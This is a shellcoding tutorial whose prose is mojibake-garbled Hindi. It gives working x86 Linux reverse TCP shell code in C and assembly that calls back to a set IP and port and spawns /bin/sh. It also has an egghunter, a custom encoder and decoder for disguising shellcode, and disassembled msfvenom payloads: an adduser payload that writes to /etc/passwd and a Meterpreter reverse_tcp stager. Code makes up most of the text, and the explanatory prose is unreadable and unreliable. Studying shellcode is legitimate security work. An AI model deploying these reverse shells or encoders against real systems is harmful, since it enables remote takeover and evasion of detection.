рдЫрд╡рд┐

2. рдЯреАрд╕реАрдкреА рд╢реЗрд▓ рдХреЛ рдЙрд▓реНрдЯрд╛ рдХрд░реЗрдВ


рдЗрд╕рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдореЗрдВ рдпрд╣ рдХрд╛рд░реНрдп рдкрд┐рдЫрд▓реЗ рдПрдХ рдХреЗ рд╕рдорд╛рди рд╣реИ, рд╕рд┐рд╡рд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рд╣рдо рдПрдХ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдХрдиреЗрдХреНрд╢рди рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВрдЧреЗред рд╕рд╛рдорд╛рдиреНрдп рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо:

1. рдПрдХ рд╕реЙрдХреЗрдЯ рдмрдирд╛рдПрдВ;
2. рдХрдиреЗрдХреНрд╢рди рдкреИрд░рд╛рдореАрдЯрд░ рд╕реЗрдЯ рдХрд░реЗрдВ: рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рд╣реЛрд╕реНрдЯ, рдкреЛрд░реНрдЯ;
3. рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдлрд╝рд╛рдЗрд▓ рд╡рд┐рд╡рд░рдгрдХ;
4. рдХрдорд╛рдВрдб рд╢реЗрд▓ рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВред

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>

int main ()
{
    const char* ip = "192.168.0.106";	// place your address here
    struct sockaddr_in addr;

    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);	// port
    inet_aton(ip, &addr;.sin_addr);

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    connect(sockfd, (struct sockaddr *)&addr;, sizeof(addr));

    /* duplicating standard file descriptors */
    for (int i = 0; i < 3; i++)
    {
        dup2(sockfd, i);
    }

    execve("/bin/sh", NULL, NULL);

 

рд╣рдо рдХреЛрдбрд╛рдВрддрд░рдХ рдореЗрдВ рдЕрдиреБрд╡рд╛рдж рдХрд░рддреЗ рд╣реИрдВ

	section .text
global _start

_start:
	; creating socket
	xor eax, eax
	xor esi, esi
	xor ebx, ebx
	push esi
	push 0x1
	push 0x2
	; calling socket call for socket creating
	mov al, 102
	mov bl, 1
	mov ecx, esp
	int 0x80
	mov edx, eax

	; creating sockaddr_in and connect()
	push esi
	push esi
	push 0x6a00a8c0		; IPv4 address to connect
	push WORD 0x5c11	; port
	push WORD 2
	mov ecx, esp
	push 0x16
	push ecx
	push edx
	; socketcall()
	mov al, 102
	mov bl, 3		; connect()
	mov ecx, esp
	int 0x80

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx
	mov cl, 3
	mov ebx, edx
dup:	dec ecx
	mov al, 63
	int 0x80
	jns dup

	; execve /bin/sh
	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80

рдлрд┐рд░:

$nasm32 reverse_tcp_shell

рдЖрдк рд╕рдорд╛рди рдХрдорд╛рдВрдб (рдХрд╛рд░реНрдп 1) рдкрд░рд┐рдгрд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдиреЗрдХреНрд╢рди рдкрддрд╛ рдпрд╛ рдкреЛрд░реНрдЯ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ


рдЫрд╡рд┐

3. рдПрдЧреБрдирдЧрдВрдЯрд░ рддрдХрдиреАрдХ


Egghunter рддрдХрдиреАрдХ "рдИрд╕реНрдЯрд░ рдЕрдВрдбреЗ" рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХреНрд╖реЗрддреНрд░ рдХреЛ рдпрд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣рдо рдкрд╣рд▓реЗ рд╕реЗ рдЬрд╛рдирддреЗ рд╣реИрдВ, рдФрд░ "рдЕрдВрдбреЗ" рдХреЗ рдмрд╛рдж рдХреЛрдб рдХреЛ рдирд┐рдпрдВрддреНрд░рдг рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рддрдХрдиреАрдХ рддрдм рдЙрдкрдпреЛрдЧреА рд╣реЛрддреА рд╣реИ рдЬрдм рд╣рдореЗрдВ рдЕрдкрдиреЗ рд╢реЗрд▓рдХреЛрдб рдХрд╛ рд╕рд╣реА рд╕реНрдерд╛рди рдкрддрд╛ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред

рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:

  1. рд╣рдордиреЗ рд╕реНрдЯреИрдХ рдкрд░ "рдХрдЪрд░рд╛" рдбрд╛рд▓рд╛;
  2. рд╣рдорд╛рд░реЗ рд╢реЗрд▓рдХреЛрдб рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рдЦреЗрдВ;
  3. рдвреЗрд░ рдкрд░ рдИрд╕реНрдЯрд░ рдЕрдВрдбреЗ рд░рдЦреЛ;
  4. рдФрд░ рдХрдЪрд░рд╛ рдбрд╛рд▓реЗрдВред

"рдХрдЪрд░рд╛" рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ:

#!/usr/bin/python3

import random

rdm = bytearray(random.getrandbits(8) for _ in range(96))
for i in range(0,len(rdm),4):
	bts = rdm[i:i+4]
	print("\tpush 0x" + ''.join('{:02x}'.format(x) for x in bts))

рд╣рдо рд╢рдВрдЦ рдХреА рдЦреЛрдЬ рдХрд░реЗрдВрдЧреЗ:

	; execve_sh
global _start

section .text
_start:

        ; PUSH 0
        xor eax, eax
        push eax

        ; PUSH //bin/sh (8 bytes)
	push 0x68732f2f
	push 0x6e69622f

        mov ebx, esp

        push eax
        mov edx, eax

        push ebx
        mov ecx, esp

        mov al, 11
        int 0x80

рдЗрд╕ рд╢реЗрд▓рдХреЛрдб рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЗрд╕рдХрд╛ рдУрдкрдХреЛрдб рд▓реЗрдВ рдФрд░ рд╕реНрдЯреИрдХ рдкрд░ рд░рдЦреЗрдВред

рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╣рдо рд╕рдлрд▓ рд╣реЛрдВрдЧреЗ:

section .text
global _start

_start:
	; trash
	push 0x94047484
	push 0x8c35f24a
	push 0x5a449067
	push 0xf5a651ed
	push 0x7161d058
	push 0x3b7b4e10
	push 0x9f93c06e
	; shellcode execve() /bin/sh
	push 0x9080cd0b
	push 0xb0e18953
	push 0xe28950e3
	push 0x896e6962
	push 0x2f687361
	push 0x622f6868
	push 0x6a50c031
	; egg
	push 0xdeadbeef
	; trash
        push 0xd213a92d
        push 0x9e3a066b
        push 0xeb8cb927
        push 0xddbaec55
        push 0x43a73283
        push 0x89f447de
        push 0xacfb220f


	mov ebx, 0xefbeadde	; egg in reverse order
        mov esi, esp
        mov cl, 200		; change this value for deeper or less searching

find:   lodsb			; read byte from source - esi
        cmp eax, ebx		; is it egg?
        jz equal		; if so, give control to shellcode
	shl eax, 8		; if not, shift one byte left
        loop find		; repeat

	xor eax, eax		; if there is no egg - exit
        mov al, 1
	xor ebx, ebx
        mov bl, 10
        int 0x80

equal: jmp esi			; jmp to shellcode

рдЫрд╡рд┐

рдЖрдк jmp рдЦреЛрдЬ рд╕реНрдЯреЗрдЯрдореЗрдВрдЯ рдХреЗ рд╕рд╛рде рд▓реВрдк рдлрд╝рд╛рдЗрдВрдб рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЗрд╕рд╕реЗ рдкреНрд░реЛрдЧреНрд░рд╛рдо рддреНрд░реБрдЯрд┐ рд╣реЛ рд╕рдХрддреА рд╣реИред рдЖрдк рдЗрд╕ рдЕрдкрд╡рд╛рдж рдХреЗ рд▓рд┐рдП рдПрдХ рд╣реИрдВрдбрд▓рд░ рднреА рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рд╕рд╛рдорд╛рдиреНрдп рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рд╣рдорд╛рд░рд╛ рдХреЛрдб рдкрд░реНрдпрд╛рдкреНрдд рд╣реИред рдХрднреА-рдХрднреА рд╕реНрдореГрддрд┐ рдХреЗ рдПрдХ рдЕрд▓рдЧ рджрд┐рд╢рд╛ рдореЗрдВ рдкрдбрд╝реЗ "рдИрд╕реНрдЯрд░ рдЕрдВрдбреЗ" рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдлрд┐рд░ рдЖрдкрдХреЛ рджрд┐рд╢рд╛ рдзреНрд╡рдЬ рдХреЗ рдореВрд▓реНрдп рдХреЛ рдмрджрд▓рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдФрд░ рдЖрдк рд╢реЗрд▓рдХреЛрдб рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЗрдПрдордкреА рдПрд╕рдЖрдИрдЖрдИ + рдСрдлрд╕реЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

4. рдЕрдкрдирд╛ рдПрдирдХреЛрдбрд░ рд▓рд┐рдЦреЗрдВ


рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рд░рд┐рд╡рд░реНрд╕ рдбрд┐рдХреЛрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдмрд┐рдирд╛ рд╢реЗрд▓рдХреЛрдб рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЕрд▓рдЧ рдХрд░рддрд╛ рд╣реИред рдореИрдВрдиреЗ рдЗрд╕ рдХрд╛рд░реНрдп рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛, рдЬреИрд╕рд╛ рдХрд┐ рдореБрдЭреЗ рдкрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдереЛрдбрд╝реА рдЬрдЯрд┐рд▓рддрд╛ рдХреЗ рд╕рд╛рде: рд╢реЗрд▓рдХреЛрдб рдХреЗ рдЖрд╡рд╢реНрдпрдХ рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдмреАрдЪ рдХреВрдбрд╝реЗ рдХреЗ рдмрд╛рдЗрдЯреНрд╕ рдХреА рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ (1 рд╕реЗ 5) рд╕рдВрдЦреНрдпрд╛ рд╣реИред рдПрдиреНрдХреЛрдбреЗрдб рд╢реЗрд▓рдХреЛрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦреА рд╣реИ:

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import sys
import random

if len(sys.argv) != 2:
        print("Enter opcode in hex")
        sys.exit(0)

opcode = sys.argv[1]
encoded = ""

b1 = bytearray.fromhex(opcode)

# Generates random value from 1 to 5 of 'aa' string
for x in b1:
        t = 'aa' * random.randint(1,5)
        encoded += '%02x' % x + t

print(encoded)

рдкрд░рд┐рдгрд╛рдо рдХреНрд░рдордмрджреНрдз рд╕рдВрдХрд▓рд┐рдд рдХрд░ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

$./hex2stack.py $(./encoder.py $(hexopcode execve_sh))

рдирд┐рд╖реНрдХрд░реНрд╖:

	push 0x909090aa
	push 0xaaaaaaaa
	push 0x80aaaaaa
	push 0xaacdaaaa
	push 0xaaaa0baa
	push 0xaaaaaaaa
	push 0xb0aaaaaa
	push 0xaae1aaaa
	push 0xaaaaaa89
	push 0xaaaaaa53
	push 0xaaaaaac2
	push 0xaa89aaaa
	push 0xaaaa50aa
	push 0xaaaaaaaa
	push 0xe3aaaa89
	push 0xaaaa6eaa
	push 0xaa69aaaa
	push 0xaaaa62aa
	push 0xaaaaaa2f
	push 0xaa68aaaa
	push 0x68aaaaaa
	push 0xaaaa73aa
	push 0xaaaa2faa
	push 0xaa2faaaa
	push 0xaa68aaaa
	push 0x50aaaaaa
	push 0xaaaac0aa
	push 0xaaaaaa31

рдкрд╣рд▓реЗ рднрд╛рдЧ 0x909090aa рдкрд░ рдзреНрдпрд╛рди рджреЗрдВред рджрд╛рдИрдВ рдУрд░ рдкрд╣рд▓рд╛ рдмрд╛рдЗрдЯ 90 рд╣рдорд╛рд░реЗ рдПрдиреНрдХреЛрдбреЗрдб рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдЕрдВрдд рд╣реИред рдмреЗрд╢рдХ, рдЖрдк рд╢реЗрд▓рдХреЛрдб рдХреЗ рдЕрдВрдд рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдЕрдиреНрдп рдорд╛рдиреНрдп рдорд╛рди рдХрд╛ рдЪрдпрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдбрд┐рдХреЛрдбрд░ рдХреЛрдб:

	section .text
	global _start
_start:
	; encoded shellcode
	push 0x909090aa
	push 0xaaaaaaaa
	push 0x80aaaaaa
	push 0xaacdaaaa
	push 0xaaaa0baa
	push 0xaaaaaaaa
	push 0xb0aaaaaa
	push 0xaae1aaaa
	push 0xaaaaaa89
	push 0xaaaaaa53
	push 0xaaaaaac2
	push 0xaa89aaaa
	push 0xaaaa50aa
	push 0xaaaaaaaa
	push 0xe3aaaa89
	push 0xaaaa6eaa
	push 0xaa69aaaa
	push 0xaaaa62aa
	push 0xaaaaaa2f
	push 0xaa68aaaa
	push 0x68aaaaaa
	push 0xaaaa73aa
	push 0xaaaa2faa
	push 0xaa2faaaa
	push 0xaa68aaaa
	push 0x50aaaaaa
	push 0xaaaac0aa
	push 0xaaaaaa31

	; prepare registers for decoding
	mov esi, esp
	mov edi, esp
	mov bl, 0xaa

decoder:
	lodsb		; read byte from stack
	cmp al, bl	; check: is it trash byte?
	jz loopy	; if so, repeat
	cmp al, 0x90	; is it end of shellcode?
	jz exec		; if so, go to start of shellcode
	stosb		; if not, place byte of shellcode into stack
loopy:	jmp decoder	; repeat

exec:	jmp esp		; give flow control to shellcode

рдпрджрд┐ рд╢реЗрд▓рдХреЛрдб рдореЗрдВ рдПрдирдУрдкреА рдирд┐рд░реНрджреЗрд╢ (0x90) рдирд╣реАрдВ рд╣реИ, рддреЛ рдЗрд╕ рдмрд╛рдЗрдЯ рдХреЛ рд╢реЗрд▓рдХреЛрдб рдХреЗ рдЕрдВрдд рдХреЗ рд▓рд┐рдП рдПрдХ рдорд╛рд░реНрдХрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЪреБрдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЕрдиреНрдп рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдЖрдкрдХреЛ рдПрдХ рдЕрд▓рдЧ рдореВрд▓реНрдп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред
рдкрд░рд┐рдгрд╛рдо:

рдЫрд╡рд┐

5. GDB / libemu / ndisasm рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ msfvenom рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рд╢реЗрд▓рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг


рдЗрд╕ рдЦрдВрдб рдореЗрдВ, рд╣рдо рдкреНрд░рд╕рд┐рджреНрдз рдЙрдкрдХрд░рдг - msfvenom рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рдкреНрдд рд╢реЗрд▓рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВрдЧреЗред

1. рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬреЛрдбрд╝реЗрдВ
рд╢реЗрд▓рдХреЛрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб:

msfvenom -a x86 --platform linux -p linux/x86/adduser -f c > adduser.c

рдкрд░рд┐рдгрд╛рдореА GDB рд╢реЗрд▓рдХреЛрдб рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рдХрдИ рд╡рд┐рдХрд▓реНрдк рд╣реИрдВ, рдореИрдВрдиреЗ рдЕрдкрдиреЗ рд▓рд┐рдП рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ - рдХреЛрдб рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рдЦрдиреЗ рдФрд░ рдЗрд╕рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред

$ cat adduser.c | grep -Po "\\\x.." | tr -d '\n' | sed -e 's!\\x!!g' ; echo
31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80

$ python3 hex2stack.py 31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80
out:
	push 0x90909080
	push 0xcd58016a
	push 0x80cd5804
	...

рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдлрд╝рд╛рдЗрд▓ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВрдЧреЗ:

	section .text
	global _start
_start:
	push 0x90909080
	push 0xcd58016a
	push 0x80cd5804
	push 0x6afc518b
	push 0x590a6873
	push 0x2f6e6962
	push 0x2f3a2f3a
	push 0x3a303a30
	push 0x3a635249
	push 0x3470346a
	push 0x7349642f
	push 0x7a413a74
	push 0x696f6c70
	push 0x73617465
	push 0x6d000000
	push 0x28e89380
	push 0xcd04b541
	push 0xe3896374
	push 0x652f6861
	push 0x702f2f68
	push 0x64777373
	push 0x6851c931
	push 0x58056a80
	push 0xcd58466a
	push 0xcb89c931
	jmp esp

рдЫрд╡рд┐

рдкрд╣рд▓реА рдЪреАрдЬ рдЬреЛ рд╢реЗрд▓рдХреЛрдб рдХрд░рддреА рд╣реИ, рд╡рд╣ рдкреИрд░рд╛рдореАрдЯрд░ (0,0) рдХреЗ рд╕рд╛рде рд╕реЗрдЯреНрд░реЗрдпреБрдб () рдмрдирд╛рддреА рд╣реИ: рд╢реЗрд▓рдХреЛрдб рдореЗрдВ рд░реВрдЯ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдПред рдЙрд╕рдХреЗ рдмрд╛рдж рдлрд╛рдЗрд▓ / etc / passwd рдЦреБрд▓рддрд╛ рд╣реИред рдХреЛрдб рдореЗрдВ, рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓рдиреЗ рдХреЗ рдмрд╛рдж, рдХреЙрд▓ рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рдирд┐рд░реНрджреЗрд╢ рдХреЗ рдмрд╛рдж, рдкреНрд░реЛрд╕реЗрд╕рд░ рдЕрдЧрд▓реЗ рдХрдорд╛рдВрдб рдХреЛ рд╕реНрдЯреИрдХ рдкрд░ рд░рдЦреЗрдЧрд╛ред рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЗрд╕ рддрд░рд╣ рдХреА рдХрдорд╛рдВрдб рд╣рдорд╛рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдкрдВрдХреНрддрд┐ рд╣реИ - рдмрд╛рдж рдореЗрдВ рдпрд╣ рд▓рд╛рдЗрди рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд▓рд┐рдЦреА рдЬрд╛рдПрдЧреАред рдпрд╣ рд╡рд┐рдзрд┐ рдЖрдкрдХреЛ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред

2. рдХрд╛рд░реНрдпрдХрд╛рд░реА Whoami рд╣рдо
рдлрд╛рдЗрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓реЗрдЦрди рдкрддрд╛ рд▓рдЧрд╛, рдЕрдм рджреЗрдЦреЗрдВ рдХрд┐ рдЖрджреЗрд╢реЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЪрд▓реЛред
Shellcode рдЬрдирд░реЗрдЯ рдХрд░реЗрдВ:

msfvenom -a x86 --platform linux -p linux/x86/exec CMD="whoami" -f raw> exec_whoami.bin

рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:

$sctest -vv -S -s 10000 -G shell.dot < exec_whoami.bin

[emu 0x0x16c8100 debug ] 6A0B                            push byte 0xb
; execve()		
[emu 0x0x16c8100 debug ] 58                              pop eax		
[emu 0x0x16c8100 debug ] 99                              cwd
; in this case - set to 0 due to cwd and small eax
[emu 0x0x16c8100 debug ] 52                              push edx		
; "-c"
[emu 0x0x16c8100 debug ] 66682D63                        push word 0x632d	
; address of "-c"
[emu 0x0x16c8100 debug ] 89E7                            mov edi,esp		
; /bin/sh
[emu 0x0x16c8100 debug ] 682F736800                      push dword 0x68732f	
[emu 0x0x16c8100 debug ] 682F62696E                      push dword 0x6e69622f
; 1st arg of execve()
[emu 0x0x16c8100 debug ] 89E3                            mov ebx,esp		
; null
[emu 0x0x16c8100 debug ] 52                              push edx		
; place "whoami" in stack
[emu 0x0x16c8100 debug ] E8                              call 0x1		
; push "-c"
[emu 0x0x16c8100 debug ] 57                              push edi		
; push "/bin/sh"
[emu 0x0x16c8100 debug ] 53                              push ebx		
; 2nd argument of execve() 
; pointer to args
[emu 0x0x16c8100 debug ] 89E1                            mov ecx,esp		
; execute execve()
[emu 0x0x16c8100 debug ] CD80                            int 0x80		

рдЫрд╡рд┐

рдХреЙрд▓ рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХрдорд╛рдВрдб рдХреЛ рдмрджрд▓рдирд╛ рдЖрд╕рд╛рди рдмрдирд╛рддрд╛ рд╣реИред

3.

рдкреЗрд▓реЛрдб рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореАрдЯрд░рдкрд░реЗрдЯрд░ рдЯреАрд╕реАрдкреА рдХрдорд╛рдВрдб рдХреЛ рдЙрд▓реНрдЯрд╛ рдХрд░реЗрдВ

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f raw > meter_revtcp.bin

рдлрд┐рд░

ndisasm -u meter_revtcp.bin

рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдХреЛрдб
00000000  6A0A              push byte +0xa
00000002  5E                pop esi			; place 10 in esi
00000003  31DB              xor ebx,ebx			; nullify ebx
00000005  F7E3              mul ebx
00000007  53                push ebx			; push 0
00000008  43                inc ebx			; 1 in ebx
00000009  53                push ebx			; push 1
0000000A  6A02              push byte +0x2		; push 2
0000000C  B066              mov al,0x66			; mov socketcall
0000000E  89E1              mov ecx,esp			; address of argument
00000010  CD80              int 0x80			; calling socketcall() with socket()
00000012  97                xchg eax,edi		; place sockfd in edi
00000013  5B                pop ebx			; in ebx 1
00000014  68C0A80066        push dword 0x6600a8c0	; place IPv4 address connect to
00000019  680200115C        push dword 0x5c110002	; place port and proto family
0000001E  89E1              mov ecx,esp
00000020  6A66              push byte +0x66
00000022  58                pop eax			; socketcall()
00000023  50                push eax
00000024  51                push ecx			; addresss of sockaddr_in structure
00000025  57                push edi			; sockfd
00000026  89E1              mov ecx,esp			; address of arguments
00000028  43                inc ebx
00000029  CD80              int 0x80			; call connect()
0000002B  85C0              test eax,eax		; 
0000002D  7919              jns 0x48			; if connect successful - jmp
0000002F  4E                dec esi			; in esi 10 - number of attempts to connect
00000030  743D              jz 0x6f			; if zero attempts left - exit
00000032  68A2000000        push dword 0xa2
00000037  58                pop eax
00000038  6A00              push byte +0x0
0000003A  6A05              push byte +0x5
0000003C  89E3              mov ebx,esp
0000003E  31C9              xor ecx,ecx
00000040  CD80              int 0x80			; wait 5 seconds
00000042  85C0              test eax,eax
00000044  79BD              jns 0x3
00000046  EB27              jmp short 0x6f
00000048  B207              mov dl,0x7			; mov dl 7 - read, write, execute for mprotect() memory area
0000004A  B900100000        mov ecx,0x1000		; 4096 bytes
0000004F  89E3              mov ebx,esp
00000051  C1EB0C            shr ebx,byte 0xc
00000054  C1E30C            shl ebx,byte 0xc		; nullify 12 lowest bits
00000057  B07D              mov al,0x7d			; mprotect syscall
00000059  CD80              int 0x80
0000005B  85C0              test eax,eax
0000005D  7810              js 0x6f			; if no success with mprotect -> exit
0000005F  5B                pop ebx			; if success put sockfd in ebx
00000060  89E1              mov ecx,esp
00000062  99                cdq
00000063  B60C              mov dh,0xc
00000065  B003              mov al,0x3			; read data from socket
00000067  CD80              int 0x80
00000069  85C0              test eax,eax
0000006B  7802              js 0x6f
0000006D  FFE1              jmp ecx			; jmp to 2nd part of shell
0000006F  B801000000        mov eax,0x1
00000074  BB01000000        mov ebx,0x1
00000079  CD80              int 0x80

